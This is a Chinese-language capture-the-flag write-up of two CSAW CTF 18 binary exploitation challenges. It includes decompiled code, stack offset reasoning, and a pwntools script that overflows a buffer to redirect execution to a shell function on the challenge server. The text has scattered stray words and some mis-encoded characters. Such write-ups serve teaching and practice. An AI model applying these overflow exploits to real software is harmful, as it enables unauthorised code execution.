两道题都来自CSAW CTF 18。PWN学得不够多,若是哪里错了,欢迎留言交流。shell
checksec检查以后,发现栈保护没开,极可能是栈溢出。IDA打开F5看伪源码。bash
int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+10h] [rbp-20h] puts("Do you gets it??"); gets(&v4); return 0; }
IDA中看到,在程序中还有libc和调用bash的give_shell()
函数。虽然有give_shell()
,可是没使用的地方。考查的意图也很明显,就是要调用它。函数
用GDB看了一下程序。主函数执行ret指令时用到的地址:code
往上看这个地址的来源,它是从7f...de78(不必定和个人相同)读出来的,gets()
函数的取到的内容从data段的7f...de50开始。作一下减法,改掉它共须要48个字节。blog
pwntools操做(用'a'做垃圾数据填充)内存
from pwn import * p = remote('pwn.chal.csaw.io',9001) payload = 'a' * 32 + p64(0x400600) + p64(0x4005b6) p.recv() p.sendline(payload) p.interactive() cat flag.txt flag{y0u_deF_get_itls}
checksec
能够看到没有开启栈保护,能够覆盖。借助主函数返回。在gdb里输入正常的内容,运行看最后ret的EIP从哪取出来的,拿EIP最后跳转地址存放的位置减去以前的输入数据存放的地址,获得长度。(静态也能够,适合大佬使用)中间的所有用垃圾数据覆盖,最后指定到give_shell()
的内存地址上。0x400600
地方有一个pop命令,直接覆盖为垃圾数据会由于不能出栈致使报错退出,保留。接下来的指令覆盖为give_shell()
的内存地址就能够了。v8
记得好像哪一个大学的CTF战队名字叫BOI。rem
该开的保护都开了。逻辑代码没什么内容,用足够的数据覆盖掉缓冲区就能够起shell了,注意最后0xCAF3BAEE写成小端。get
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf; // [rsp+10h] [rbp-30h] __int64 v5; // [rsp+18h] [rbp-28h] __int64 v6; // [rsp+20h] [rbp-20h] int v7; // [rsp+28h] [rbp-18h] unsigned __int64 v8; // [rsp+38h] [rbp-8h] v8 = __readfsqword(0x28u); buf = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0; HIDWORD(v6) = 0xDEADBEEF; puts("Are you a big boiiiii??"); read(0, &buf, 0x18uLL); if ( HIDWORD(v6) == 0xCAF3BAEE ) run_cmd("/bin/bash", &buf); else run_cmd("/bin/date", &buf); return 0; }